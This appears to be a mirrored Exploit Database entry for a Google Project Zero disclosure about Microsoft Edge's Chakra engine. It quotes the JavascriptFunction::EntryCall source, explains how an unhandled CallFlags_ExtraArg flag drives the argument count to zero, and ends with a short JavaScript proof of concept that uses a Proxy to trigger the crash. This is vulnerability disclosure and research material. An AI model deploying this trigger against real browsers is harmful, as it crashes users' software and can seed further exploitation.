Microsoft Edge Chakra – ‘JavascriptFunction::EntryCall’ Fails to Handle ‘CallInfo’ Properly

• Exploit Database
• 12 阅读

• 作者： Google Security Research
  日期： 2017-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42475/

• <!--
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1295
  
  Here's the method.
  Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, ...)
  {
  PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);
  
  RUNTIME_ARGUMENTS(args, callInfo);
  ScriptContext* scriptContext = function->GetScriptContext();
  
  Assert(!(callInfo.Flags & CallFlags_New));
  
  ///
  /// Check Argument[0] has internal [[Call]] property
  /// If not, throw TypeError
  ///
  if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0]))
  {
  JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u("Function.prototype.call"));
  }
  
  RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]);
  if (args.Info.Count == 1)
  {
  args.Values[0] = scriptContext->GetLibrary()->GetUndefined();
  }
  else
  {
  ///
  /// Remove function object from the arguments and pass the rest
  ///
  for (uint i = 0; i < args.Info.Count - 1; ++i)
  {
  args.Values[i] = args.Values[i + 1];
  }
  args.Info.Count = args.Info.Count - 1;
  }
  
  ///
  /// Call the [[Call]] method on the function object
  ///
  return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args);
  }
  
  Chakra uses the first value of "args.Values" as "this" and "args.Info.Count - 1" as the length of the arguments. So "args.Info.Count" must always be 1 or greater. 
  
  But the problem is that the method decrements "args.Info.Count" by one without considering the flag "CallFlags_ExtraArg". If the flag is set, the value of "args.Info.Count" will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of "args.Info.Count" becomes 0.
  
  PoC:
  -->
  
  function f() {
  print(arguments);
  }
  
  let call = new Proxy(Function.prototype.call, {});// proxy calls set the flag
  call.call(f);